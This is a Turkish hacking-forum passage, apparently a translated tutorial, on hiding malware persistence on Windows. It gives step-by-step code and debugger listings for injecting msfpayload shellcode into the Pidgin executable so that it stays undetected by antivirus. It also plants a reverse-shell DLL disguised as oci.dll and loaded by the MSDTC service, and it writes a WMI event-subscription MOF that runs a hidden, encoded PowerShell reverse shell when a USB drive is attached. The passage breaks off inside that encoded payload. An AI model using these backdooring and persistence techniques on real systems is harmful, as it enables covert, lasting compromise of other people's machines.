11/22/2014  08:17 PM    <DIR>          ca-certs
10/19/2014  09:40 PM           671,031 exchndl.dll
10/19/2014  09:40 PM           301,056 freebl3.dll
11/22/2014  08:17 PM    <DIR>          Gtk
10/19/2014  09:40 PM           417,758 libjabber.dll
10/19/2014  09:40 PM           152,852 libmeanwhile-1.dll
10/19/2014  09:40 PM           202,752 libnspr4.dll
10/19/2014  09:40 PM           311,021 liboscar.dll
10/19/2014  09:40 PM            15,872 libplc4.dll
10/19/2014  09:40 PM            14,336 libplds4.dll
10/19/2014  09:40 PM           845,433 libpurple.dll
10/19/2014  09:39 PM           190,464 libsasl.dll
10/19/2014  09:40 PM         2,097,721 libsilc-1-1-2.dll
10/19/2014  09:40 PM           818,985 libsilcclient-1-1-3.dll
10/19/2014  09:40 PM            36,878 libssp-0.dll
10/19/2014  09:39 PM         1,274,655 libxml2-2.dll
10/19/2014  09:40 PM           236,666 libymsg.dll
10/19/2014  09:40 PM           784,384 nss3.dll
10/19/2014  09:40 PM           113,152 nssutil3.dll
11/22/2014  08:17 PM    <DIR>          pidgin-2.10.10-dbgsym
11/22/2014  08:17 PM           104,965 pidgin-uninst.exe
10/19/2014  09:40 PM         1,157,795 pidgin.dll
11/22/2014  11:00 PM            60,176 pidgin.exe                 # Bingo!
11/22/2014  08:17 PM    <DIR>          pixmaps
11/22/2014  08:17 PM    <DIR>          plugins
11/22/2014  08:17 PM    <DIR>          sasl2
10/19/2014  09:40 PM           101,376 smime3.dll
10/19/2014  09:40 PM           174,080 softokn3.dll
11/22/2014  08:17 PM    <DIR>          sounds
11/22/2014  08:17 PM    <DIR>          spellcheck
10/19/2014  09:40 PM           486,400 sqlite3.dll
10/19/2014  09:40 PM           230,912 ssl3.dll
              24 File(s)     10,800,720 bytes
              10 Dir(s)  55,248,990,208 bytesfree[/COLOR]


Bu binary'i bir arka kapı ile değiştirebiliriz, böylece sistem her açıldığında kötü amaçlı kodumuz çalıştırılır. Ancak, bunu yapmak acı verici bir şekilde aşikar olurdu, Pidgin başlamazdı ve daha yakın bir araştırma, aldatmacamızı hemen ortaya çıkarırdı.

Bunun yerine, (1) yürütülebilir dosyayı saldıran makinemize indireceğiz, (2) kötü amaçlı kodumuzu binarye enjekte edeceğiz, (3) hala amaçlandığı gibi çalıştığından emin olacağız ve (4) hedef makinede değiştireceğiz. Ortaya çıkan çalıştırılabilir dosya, AV tarafından tamamen tespit edilemez olacak ve pidgin hala normal şekilde çalışacağından gereksiz şüpheler uyandırmayacaktır. Gerekli değişiklik, Bağışıklık hata ayıklayıcı (veya Olly) kullanılarak yapılabilir.

İlk önce pidgin'in modül giriş noktasını not etmemiz gerekecek. Buradaki talimatlar, program başlatıldığında ilk çalıştırılacak şeydir.


Pers5_big.png



Daha sonra, kabuk kodumuzu saklayacak kadar büyük bir boş alan bulmamız gerekiyor. Eğer PE çalıştırılabilir dosyalarına yakından bir göz attıysanız, her bölümün sonunda (.text, .data, .rdata, ..) çok büyük bir boş bayt dolgusu olduğunu bileceksinizdir. Bu durumda, ".text" bölümünün sonuna kadar basitçe kaydırabiliriz, buradaki dolgu, kabuk kodumuz için mükemmel bir yer olacaktır.

Pers6_big.png



Temel ilke oldukça açık: (1) boş bayt dolgusuna atlamak için giriş noktasını değiştirmemiz gerekiyor, (2) atlama hedefinde kabuk kodumuzu enjekte ediyoruz, (3) giriş noktasını seçiyoruz ve program denetimini yasal koda geri veriyoruz.

İlk olarak, boş bayt dolgumuza atlamak için giriş noktasını değiştirelim. Yeni giriş noktasını eskisiyle karşılaştırırsanız, birkaç talimatın hatalı olduğunu fark edeceksiniz. Bunları nasıl düzelteceğimizi daha sonra göreceğiz.


Pers7_big.png



Daha sonra, payload olarak yürütülebilir dosyaya kopyalayabileceğimiz bir kabuk kodu oluşturmamız gerekiyor. Bir kenara bırakırsak, kabuk kodunu kodlamak gerekli değildir, aslında bunu yapmak, kod çözücü onu açmaya çalıştığında sorunlara neden olabilir.

Kod:
[COLOR="Plum"]# grep & tr to strip out all unnecessary data.
root@Josjikawa:~# msfpayload windows/exec cmd='calc' exitfunc='none' C |grep '"' |tr -d '"\\x;\n'

fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b42
3c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b
582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ff
d5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300[/COLOR]


Bu kabuk kodunun düzgün çalışması için bazı küçük değişiklikler gerekecek. Kabuk kodu çalıştırıldığında, epilog "ntdll.KiFastSystemCallRet"i çağırarak sona erecek ve bu da yürütme akışını sonlandıracaktır. Orijinal program akışını korumak istediğimiz için, bunun olmasını durdurmamız gerekecek. Hata ayıklayıcıda ortaya çıkan kabuk kodu aşağıda görülebilir.

Kod:
[COLOR="Plum"]0040391C     60             PUSHAD                           Save registry and flag values!
0040391D     9C             PUSHFD
0040391E     FC             CLD
0040391F     E8 89000000    CALL pidgin.004039AD
00403924     60             PUSHAD
00403925     89E5           MOV EBP,ESP
00403927     31D2           XOR EDX,EDX
00403929     64:8B52 30     MOV EDX,DWORD PTR FS:[EDX+30]
0040392D     8B52 0C        MOV EDX,DWORD PTR DS:[EDX+C]
00403930     8B52 14        MOV EDX,DWORD PTR DS:[EDX+14]
00403933     8B72 28        MOV ESI,DWORD PTR DS:[EDX+28]
00403936     0FB74A 26      MOVZX ECX,WORD PTR DS:[EDX+26]
0040393A     31FF           XOR EDI,EDI
0040393C     31C0           XOR EAX,EAX
0040393E     AC             LODS BYTE PTR DS:[ESI]
0040393F     3C 61          CMP AL,61
00403941     7C 02          JL SHORT pidgin.00403945
00403943     2C 20          SUB AL,20
00403945     C1CF 0D        ROR EDI,0D
00403948     01C7           ADD EDI,EAX
0040394A    ^E2 F0          LOOPD SHORT pidgin.0040393C
0040394C     52             PUSH EDX
0040394D     57             PUSH EDI
0040394E     8B52 10        MOV EDX,DWORD PTR DS:[EDX+10]
00403951     8B42 3C        MOV EAX,DWORD PTR DS:[EDX+3C]
00403954     01D0           ADD EAX,EDX
00403956     8B40 78        MOV EAX,DWORD PTR DS:[EAX+78]
00403959     85C0           TEST EAX,EAX
0040395B     74 4A          JE SHORT pidgin.004039A7
0040395D     01D0           ADD EAX,EDX
0040395F     50             PUSH EAX
00403960     8B48 18        MOV ECX,DWORD PTR DS:[EAX+18]
00403963     8B58 20        MOV EBX,DWORD PTR DS:[EAX+20]
00403966     01D3           ADD EBX,EDX
00403968     E3 3C          JECXZ SHORT pidgin.004039A6
0040396A     49             DEC ECX
0040396B     8B348B         MOV ESI,DWORD PTR DS:[EBX+ECX*4]
0040396E     01D6           ADD ESI,EDX
00403970     31FF           XOR EDI,EDI
00403972     31C0           XOR EAX,EAX
00403974     AC             LODS BYTE PTR DS:[ESI]
00403975     C1CF 0D        ROR EDI,0D
00403978     01C7           ADD EDI,EAX
0040397A     38E0           CMP AL,AH
0040397C    ^75 F4          JNZ SHORT pidgin.00403972
0040397E     037D F8        ADD EDI,DWORD PTR SS:[EBP-8]
00403981     3B7D 24        CMP EDI,DWORD PTR SS:[EBP+24]
00403984    ^75 E2          JNZ SHORT pidgin.00403968
00403986     58             POP EAX
00403987     8B58 24        MOV EBX,DWORD PTR DS:[EAX+24]
0040398A     01D3           ADD EBX,EDX
0040398C     66:8B0C4B      MOV CX,WORD PTR DS:[EBX+ECX*2]
00403990     8B58 1C        MOV EBX,DWORD PTR DS:[EAX+1C]
00403993     01D3           ADD EBX,EDX
00403995     8B048B         MOV EAX,DWORD PTR DS:[EBX+ECX*4]
00403998     01D0           ADD EAX,EDX
0040399A     894424 24      MOV DWORD PTR SS:[ESP+24],EAX
0040399E     5B             POP EBX
0040399F     5B             POP EBX
004039A0     61             POPAD
004039A1     59             POP ECX
004039A2     5A             POP EDX
004039A3     51             PUSH ECX
004039A4     FFE0           JMP EAX
004039A6     58             POP EAX
004039A7     5F             POP EDI
004039A8     5A             POP EDX
004039A9     8B12           MOV EDX,DWORD PTR DS:[EDX]
004039AB    ^EB 86          JMP SHORT pidgin.00403933
004039AD     5D             POP EBP
004039AE     6A 01          PUSH 1
004039B0     8D85 B9000000  LEA EAX,DWORD PTR SS:[EBP+B9]
004039B6     50             PUSH EAX
004039B7     68 318B6F87    PUSH 876F8B31
004039BC     FFD5           CALL EBP
004039BE     EB 22          JMP SHORT pidgin.004039E2   ---|  Hook the shellcode epilog before it ends up
004039C0     90             NOP                            |   calling ntdll.KiFastSystemCallRet
004039C1     90             NOP                            |
004039C2     90             NOP                            |
004039C3     68 A695BD9D    PUSH 9DBD95A6                  |
004039C8     FFD5           CALL EBP                       |
004039CA     3C 06          CMP AL,6                       |
004039CC     7C 0A          JL SHORT pidgin.004039D8       |
004039CE     80FB E0        CMP BL,0E0                     |
004039D1     75 05          JNZ SHORT pidgin.004039D8      |
004039D3     BB 4713726F    MOV EBX,6F721347               |
004039D8     6A 00          PUSH 0                         |
004039DA     53             PUSH EBX                       |
004039DB     FFD5           CALL EBP                       |
004039DD     6361 6C        ARPL WORD PTR DS:[ECX+6C],SP   |
004039E0     6300           ARPL WORD PTR DS:[EAX],AX      |
004039E2     9D             POPFD                    <-----|  Restore registry and flag values! ESP has
004039E3     61             POPAD                             not changed, else we would first need to
                                                              add a static value to align the stack.[/COLOR]


Yürütme akışını modül giriş noktasına döndürmeden önce, atomize ettiğimiz talimatı düzeltmemiz gerekir. Modifikasyonumuzdan önceki ve sonraki modül giriş noktasını karşılaştıralım.

Kod:
[COLOR="Plum"]Original Module Entry Point:

004012A0 > $ 83EC 1C        SUB ESP,1C                # Nuked!
004012A3   . C70424 0200000>MOV DWORD PTR SS:[ESP],2  # Nuked!
004012AA   . FF15 9C924000  CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type  # Fine!
004012B0   . E8 4BFDFFFF    CALL pidgin.00401000

Modified Module Entry Point:

004012A0 >   E9 77260000    JMP pidgin1.0040391C # JMP to our shellcode.
004012A5     90             NOP
004012A6     90             NOP
004012A7     90             NOP
004012A8     90             NOP
004012A9     90             NOP
004012AA   . FF15 9C924000  CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type
004012B0   . E8 4BFDFFFF    CALL pidgin1.00401000[/COLOR]


Geriye kalan tek şey, nükleer bombayı kabuk kodumuzun sonuna eklemek ve modül giriş noktasındaki ilk dokunulmamış talimata geri dönmek.

Kod:
[COLOR="plum"]004039E2   > 9D             POPFD
004039E3   . 61             POPAD
004039E4   . 83EC 1C        SUB ESP,1C                # Instruction restored!
004039E7   . C70424 0200000>MOV DWORD PTR SS:[ESP],2  # Instruction restored!
004039EE   .^E9 B7D8FFFF    JMP pidgin.004012AA       # JMP back to module entry point.[/COLOR]


Artık dosyayı hedefe geri yükleyebilir ve orijinal yürütülebilir dosyanın üzerine yazabiliriz. Pidgin her başlatıldığında, hesap makinesi de başlayacaktır. Bu arada, Pidgin normal şekilde çalışacaktır, orijinal kodun hiçbiri değiştirilmemiştir!

Pers8_big.png



(DEVAMI AŞAĞIDA)
 

Dolyetyus

Özel Üye
21 Nis 2020
1,207
676
Delft
Örnek Olay - MSDTC:

Microsoft Sysinternals Procmon ile süreçleri incelemiş olan herkes, birçok programın var olmayan kaynakları yüklemeye çalıştığını fark edecektir. Bunun başlıca iki nedeni vardır:
(1) Kaynak isteğe bağlıdır ve gerçekten mevcut değildir veya (2) Program kaynak için mutlak yola sahip değildir ve arama sırasını geçmesi gerekir.

Bu örnek olay incelemesi için "Dağıtılmış İşlem Koordinatörü" (MSDTC) Windows hizmetine bakacağız. MSDTC hizmeti tüm Windows sistemlerinde mevcuttur ve genelde kullanım süresinin %99'unda kapalıdır. Bu, saldırganın bakış açısından iyidir çünkü varlığımıza dikkat çekebilecek bir şeyi istemeden bozmak istemiyoruz. MSDTC, dağıtılmış bir sistemdeki birden çok özerk aracı arasında işlem başlatmaları gerektiğinde çoğunlukla veritabanı sunucuları için gereklidir.


Pers9_big.png



Aşağıdaki ekran görüntüsünden de görebileceğimiz gibi, basitçe MSDTC'yi başlatmak 303 "İSİM BULUNAMADI" hatasını verir (anlamsız, biliyorum ama doğru).

Pers10_big.png



Burada özellikle ilgilendiğimiz şey "oci.dll"dir. Bu dll, isteğe bağlı bir kaynak örneğidir, yalnızca Windows makinesi bir Oracle veritabanını barındırmak için kullanılmışsa var olacaktır. MSDTC hizmeti, dll'nin var olup olmadığını kontrol eder, varsa dll'yi yükler, aksi takdirde başlangıç rutinine devam eder.

Yine, kalıcılık vektörü oldukça basittir. (1) Kötü amaçlı kabuk kodumuzu içeren bir dll oluşturmak, (2) "oci.dll" olarak yeniden adlandırmak, (3) Procmon'dan elde edilen dll arama yollarından birine bırakmak ve (4) Açılışta başlamak için MSDTC hizmetini yapılandırmak isteyeceğiz.

İlk örnek çalışmamızda olduğu gibi, ****sploit ile bir dll oluşturabilirdik, ancak gizli amaçlar için shellcode'u meşru bir dll'ye enjekte etmek çok daha iyidir. Bir dll'ye kod enjekte etme süreci marjinal olarak farklı olsa da, önceki durum çalışmasına benzer bir teknik kullanılabilir. Kısaca burada enjeksiyon sürecini ele almayacağım. Bu, istekli okuyucunun araştırması için bıraktığım bir fazladan çalışma.

"Oci.dll"nin yasal bir sürümüne sahip olmadığım için, kabuk kodumu enjekte etmek için temel olarak bir Microsoft dll'si seçtim. Aşağıda, özellikler penceresinin ayrıntılar sekmesinin hala orijinal dosya ayrıntılarını gösterdiğini görebiliriz.


Pers11_big.png



Bu dll çalıştırıldığında, 4444 portundaki localhost'a bir ters kabuk açacaktır. Bunu bir dinleyici kurarak ve servise manuel olarak bakarak test edebiliriz.

Pers12_big.png



Dll hedef makineye (C:\Windows\System32\) bırakıldıktan sonra, MSDTC'yi önyüklemede başlayacak şekilde yapılandırmak için sc kullanılarak kalıcılık kabini elde edilebilir.

Kod:
[COLOR="Plum"]C:\Windows\system32> sc qc msdtc

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: msdtc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START                 # Needs to be started manually.
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\msdtc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Distributed Transaction Coordinator
        DEPENDENCIES       : RPCSS
                           : SamSS
        SERVICE_START_NAME : LocalSystem
               
C:\Windows\system32> sc config msdtc start= auto

[SC] ChangeServiceConfig SUCCESS

C:\Windows\system32> sc qc msdtc

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: msdtc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START                   # Starts on boot.
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\msdtc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Distributed Transaction Coordinator
        DEPENDENCIES       : RPCSS
                           : SamSS
        SERVICE_START_NAME : LocalSystem[/COLOR]




WMI Kalıcı Etkinlik Katılımı // Yönetilen Nesne Biçimleri (MOF)

Bu, süreklilik için en sevdiğim yöntem. Dikkatlice kurulursa, tespit edilmesi çok zordur ve daha da kötüsü çıkarılır. MOF'lar, özünde, WMI havuzunda derlenen Ortak Bilgi Modeli (CIM) sınıflarını tanımlayan derlenmiş komut dosyalarıdır. Eminim kulağa korkunç derecede karışık geliyor, işleri düzeltmeye (veya daha fazla karıştırmaya) yardımcı olmak için aşağıya önemli bir bağlantı listesi ekledim. Kalıcılık için bir yöntem olarak
(1) Olayları (veya olayları) dinleyen ve (2) olay tetiklendiğinde bazı eylemleri (veya eylemleri) gerçekleştirecek bir MOF oluşturacağız.


Bağlantılar:

Get-WmiObject [Microsoft Technet] - buradan
Remove-WmiObject [Microsoft Technet] - buradan
WQL (SQL for WMI) [MSDN] - buradan
Win32 Provider Classes [MSDN] - buradan
Querying with WQL [MSDN] - buradan
mofcomp [MSDN] - buradan
About WMI [MSDN] - buradan
WMI Tasks for Scripts and Applications [MSDN] - buradan
Permanent WMI Event [Microsoft Technet] - buradan
Creating WMI Permanent Event Subscriptions Using MOF [CondeProject] - buradan
Distributed Management Task Force [DMTF] - buradan



Ön Bilgi:

Bir MOF dosyası (en azından) aşağıdaki üç bileşenden oluşmalıdır: belirli bir olayı algılamak için WMI Sorgu Dilini (WQL) kullanan bir __EventFilter, belirli bir eylemi tanımlayan bir Olay Tüketici Sınıfı ve bir olayı bağlayan bir __FilterToConsumerBinding ve bir birlikte hareket gerektirir. MOF dosyasının çeşitli bölümlerine daha yakından bakalım.



__EventFilter:

Olay filtresi sınıfı, bir WQL deyimiyle tanımlanan belirli işletim sistemi olaylarını yakalamak/algılamak için kullanılır. Bir olay filtresinin temel yapısı aşağıda görülebilir.

Kod:
[COLOR="Plum"]instance of __EventFilter as $EventFilter
{
    Name  = "Event Filter Name";     # Unique event name.
    EventNamespace = "Root\\Cimv2";  # Namespace for event instance.
    Query = "WQL-Query";             # WQL event query.
    QueryLanguage = "WQL";           # Only WQL is currently supported.
};[/COLOR]


WQL kullanarak hemen hemen her donanım veya işletim sistemi olayı, olay tetikleyici olarak ayarlanabilir. Bu olayların kapsamını anlamak için biraz zaman ayırıp Win32 Sağlayıcı Sınıflarını incelemenizi şiddetle tavsiye ederim. Her zaman olduğu gibi, öğrenmenin en iyi yolu yerel sunucunuzda bazı sorgular oluşturmaya çalışmaktır. Powershell'de Get-WmiObject cmdlet'i, WMI sınıflarının örneklerini almak için sağlanan bağlantıyla birlikte kullanılabilir.

Aşağıdaki örnek, yüklü CD-Rom sürücüleriyle ilgili verileri almak için Win32_CDROMDrive sınıfını kullanır.



Kod:
[COLOR="Plum"]# Cursory information can be retrieved by only specifying the class name.
PS C:\Windows\system32> Get-WmiObject -class Win32_CDROMDrive


Caption                          Drive                  Manufacturer                    VolumeName
-------                          -----                  ------------                    ----------
DTSOFT Virtual CdRom Device      F:                     (Standard CD-ROM drives)
HL-DT-ST DVDRAM GT80N            E:                     (Standard CD-ROM drives)

# Using the ConfigManagerErrorCode property we can check if the drive is functioning normally.
PS C:\Windows\system32> Get-WmiObject -query "select ConfigManagerErrorCode from Win32_CDROMDrive"

__GENUS                : 2
__CLASS                : Win32_CDROMDrive
__SUPERCLASS           :
__DYNASTY              :
__RELPATH              :
__PROPERTY_COUNT       : 1
__DERIVATION           : {}
__SERVER               :
__NAMESPACE            :
__PATH                 :
ConfigManagerErrorCode : 0                  # Status 0x0 = Device is working properly.
PSComputerName         :

__GENUS                : 2
__CLASS                : Win32_CDROMDrive
__SUPERCLASS           :
__DYNASTY              :
__RELPATH              :
__PROPERTY_COUNT       : 1
__DERIVATION           : {}
__SERVER               :
__NAMESPACE            :
__PATH                 :
ConfigManagerErrorCode : 0                  # Status 0x0 = Device is working properly.
PSComputerName         :

# Using the Capabilities property we can check capabilities of the device.
PS C:\Windows\system32> Get-WmiObject -query "select Capabilities from Win32_CDROMDrive"

__GENUS          : 2
__CLASS          : Win32_CDROMDrive
__SUPERCLASS     :
__DYNASTY        :
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
Capabilities     : {3, 7}                   # 0x3 = Random Access, 0x7 = Supports Removable Media.
PSComputerName   :

__GENUS          : 2
__CLASS          : Win32_CDROMDrive
__SUPERCLASS     :
__DYNASTY        :
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
Capabilities     : {3, 4, 7}                # 0x3 = Random Access, 0x4 = Supports
PSComputerName   :                            Writing, 0x7 = Supports Removable Media.

# Using the MediaLoaded property we can check if the drive currently has a CD-Rom.
PS C:\Windows\system32> Get-WmiObject -query "select MediaLoaded from Win32_CDROMDrive"

__GENUS          : 2
__CLASS          : Win32_CDROMDrive
__SUPERCLASS     :
__DYNASTY        :
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
MediaLoaded      : False                    # False = No CD-Rom in drive.
PSComputerName   :

__GENUS          : 2
__CLASS          : Win32_CDROMDrive
__SUPERCLASS     :
__DYNASTY        :
__RELPATH        :
__PROPERTY_COUNT : 1
__DERIVATION     : {}
__SERVER         :
__NAMESPACE      :
__PATH           :
MediaLoaded      : True                     # True = CD-Rom in drive.
PSComputerName   :[/COLOR]


Örnek olarak, sistemdeki bir sürücüye bir CD-Rom'un takılmasını bekleyecek bir WQL olay tetikleyicisi oluşturabilir. WQL sorgusu, bir CD-Rom sürücüsünün takılı olduğunu belirlediğinde, bir eylemi tetikler. Örnek WQL sorgusu aşağıda görülebilir.

Kod:
[COLOR="plum"]# Notice that we are checking for an instance modification where the value for "MediaLoaded" changes from
  "False" to "True".
Query = "SELECT * FROM __InstanceModificationEvent Within 5"
        "Where TargetInstance Isa \"Win32_CDROMDrive\" "
        "And Targetinstance.MediaLoaded = \"True\" ";[/COLOR]


İkinci bir örneğe bakalım. Bu durumda, örnekleri Windows olay günlüğünden almak için Win32_NTLogEvent'i sorgulayacağız. Sadece aşağıdaki sorguyu yürütmek, ham olayların bir listesini döndürecektir.

Kod:
[COLOR="Plum"]PS C:\Windows\system32> Get-WmiObject -class Win32_NTLogEvent[/COLOR]

Uçbirim üzerinde gezinen bilginin yıkanması çok kullanışlı olmayacaktır, ancak EventCode parametresini kullanarak olay günlüğünü inceleyebilir ve dinlemek istediğimiz belirli olayları hedefleyebiliriz. Bu durumda, sistemde başarıyla oturum açan kullanıcı hesapları için olayları almak istiyoruz. Bu durumda ilgili Olay Kimliği 4624'tür.

Kod:
[COLOR="Plum"]PS C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624'"[/COLOR]

Bu sorgu yine de yeterince spesifik olmayacaktır. Sorun, birden çok oturum açma etkinliği türü olması, yalnızca Etkileşimli Oturum Açma türü (0x2) ile ilgilenmemizdir. Aşağıdaki oturum açma olaylarını düşünün.

Kod:
[COLOR="Plum"]Category         : 12544
CategoryString   : Logon
EventCode        : 4624  # EventID 4624 - An account was successfully logged on.
EventIdentifier  : 4624
TypeEvent        :
InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...}
LogFile          : Security  # Part of the Security event channel.
Message          : An account was successfully logged on.

                   Subject:
                       Security ID:        S-1-5-18
                       Account Name:        WIN7-TESTBED$
                       Account Domain:        WORKGROUP
                       Logon ID:        0x3e7

                   Logon Type:            5  # Logon type 0x5 - A service was started by the Service
                                               Control Manager.

                   New Logon:
                       Security ID:        S-1-5-18
                       Account Name:        SYSTEM  # Authenticated as SYSTEM.
                       Account Domain:        NT AUTHORITY
                       Logon ID:        0x3e7
                       Logon GUID:        {00000000-0000-0000-0000-000000000000}

                   Process Information:
                       Process ID:        0x20c
                       Process Name:        C:\Windows\System32\services.exe

                   Network Information:
                       Workstation Name:
                       Source Network Address:    -
                       Source Port:        -

                   Detailed Authentication Information:
                       Logon Process:        Advapi
                       Authentication Package:    Negotiate
                       Transited Services:    -
                       Package Name (NTLM only):    -
                       Key Length:        0
                       
RecordNumber     : 425
SourceName       : Microsoft-Windows-Security-Auditing
TimeGenerated    : 20140914212049.157848-000
TimeWritten      : 20140914212049.157848-000
Type             : Audit Success
UserName         :


Category         : 12544
CategoryString   : Logon
EventCode        : 4624  # EventID 4624 - An account was successfully logged on.
EventIdentifier  : 4624
TypeEvent        :
InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...}
LogFile          : Security  # Part of the Security event channel.
Message          : An account was successfully logged on.

                   Subject:
                       Security ID:        S-1-5-18
                       Account Name:        WIN7-TESTBED$
                       Account Domain:        WORKGROUP
                       Logon ID:        0x3e7

                   Logon Type:            2  # Logon type 0x2 - A user logged on to this computer.

                   New Logon:
                       Security ID:        S-1-5-21-2436999474-2994553960-2820488997-1001
                       Account Name:        Fubar  # Authenticated as Fubar.
                       Account Domain:        Win7-Testbed
                       Logon ID:        0x14ad4
                       Logon GUID:        {00000000-0000-0000-0000-000000000000}

                   Process Information:
                       Process ID:        0x1ac
                       Process Name:        C:\Windows\System32\winlogon.exe

                   Network Information:
                       Workstation Name:    WIN7-TESTBED
                       Source Network Address:    127.0.0.1
                       Source Port:        0

                   Detailed Authentication Information:
                       Logon Process:        User32
                       Authentication Package:    Negotiate
                       Transited Services:    -
                       Package Name (NTLM only):    -
                       Key Length:        0

RecordNumber     : 166
SourceName       : Microsoft-Windows-Security-Auditing
TimeGenerated    : 20140913190526.048815-000
TimeWritten      : 20140913190526.048815-000
Type             : Audit Success
UserName         :[/COLOR]


Yalnızca etkileşimli oturum açmayı döndürmek için, olayları bir kalıp kullanarak eşleştirmek için WQL benzeri ifadeyi kullanabiliriz. Bazı deneylerden sonra, tüm etkileşimli oturumların "Mesaj" özelliği içinde "Oturum Açma İşlemi" olarak "Kullanıcı32" ayarına sahip olduğunu keşfettim. Aşağıdaki sorgu yalnızca başarılı bir kullanıcı oturum açmasıyla eşleşmelidir.


Kod:
[COLOR="Plum"]PS C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624' and
Message like '%User32%'"[/COLOR]


Bu bilgileri kullanarak aşağıdaki WQL olay tetikleyicisini oluşturabiliriz. Bu tetikleyici, Windows olay günlüğünü izler ve başarılı bir etkileşimli kullanıcı oturumu açtığında tetiklenir.

Kod:
[COLOR="Plum"]# Notice that we are checking for an instance creation where the event code is 4624 and the message
  property contains "User32".
Query = "SELECT * FROM __InstanceCreationEvent Within 5"
        "Where TargetInstance Isa \"Win32_NTLogEvent\" "
        "And Targetinstance.EventCode = \"4624\" "
        "And Targetinstance.Message Like \"%User32%\" ";[/COLOR]



Etkinlik Tüketici Sınıfı:

En ilginç iki tüketici sınıfı şunlardır: (1) VBS yüklerini yürütmemize izin veren ActiveScriptEventConsumer sınıfı ve (2) terminal komutlarını yürütmek için kullanabileceğimiz CommandLineEventConsumer sınıfı. Her iki sınıfın da gerçekten temel bir yapısı vardır, her ikisinin örnekleri aşağıda görülebilir. Tüketici sınıfı tarafından yürütülen herhangi bir payloadın SYSTEM olarak çalışacağını unutmayın.

Kod:
[COLOR="Plum"]# VBS payload.
instance of ActiveScriptEventConsumer as $consumer  
{  
    Name = "Event Consumer Name";  
    ScriptingEngine = "VBScript";  
    ScriptText = "VBS Payload!";  
};

# Command line payload.
instance of CommandLineEventConsumer as $consumer
{
    Name = "Event Consumer Name";
    RunInteractively = false;
    CommandLineTemplate = "CMD Payload!";
};[/COLOR]


Bu iki payload türü kullanılarak istenen herhangi bir eylem gerçekleştirilebilir; süreçleri/hizmetleri sonlandırmak, komut dosyaları oluşturmak ve yürütmek, yazılım/sürücü yüklemek, kabuk kodu enjekte etmek vb.


__FilterToConsumerBinding:

Bu sınıf da çok basittir, gerçekten bilmemiz gereken tek şey, bir olay tetikleyicisini bir olay tüketicisine bağladığıdır. Aşağıda bir örnek görülebilir.

Kod:
[COLOR="Plum"]instance of __FilterToConsumerBinding
{
	Filter = $filter;      # Our WQL event trigger.
	Consumer = $consumer;  # Our event consumer payload.
};[/COLOR]

Birden çok __FilterToConsumerBinding örneği, tek bir MOF'da tanımlanabilir. Bir olay dosyalayıcı birden çok tüketiciye bağlanabilir ve bir tüketici birden çok olay filtresine bağlanabilir.


E Ama Benim Kabuğum Nerede?

Gösteri amacıyla, bilgisayara harici bir USB cihazı bağlanana kadar bekleyecek ve ardından localhost'a bir ters kabuk başlatacak olan aşağıdaki MOF dosyasını oluşturdum. Powershell yükü, Unicorn'un değiştirilmiş bir sürümü kullanılarak oluşturuldu; Dave Kennedy, bunu okursanız anlarsınız: "Neden Dinamik Yük Seçimini Sevmiyorsunuz?" (hehehe). Çıktı tırnak gibi sorunlu karakterler içermediğinden komut dosyası gerçekten kullanışlıdır, ayrıca yük hem 32 hem de 64 bit mimarilerde çalışacaktır.

Kod:
[COLOR="Plum"]#pragma namespace ("\\\\.\\root\\subscription")

instance of __EventFilter as $filter
{
	Name = "USB-DeviceManager";  # A "could be legitimate" event name.
	EventNamespace = "root\\cimv2";
	Query = "SELECT * FROM __InstanceCreationEvent Within 5"  # Listen for USB device.
             "Where TargetInstance Isa \"Win32_DiskDrive\" "
             "And Targetinstance.InterfaceType = \"USB\" ";
	QueryLanguage = "WQL";
};

instance of CommandLineEventConsumer as $consumer
{
    Name = "DoEvil";
    RunInteractively = false;
    CommandLineTemplate = "cmd /C powershell -nop -win hidden -noni -enc  # Unicorn payload.
    JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiAC
    kAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBs
    AGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbg
    B0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQA
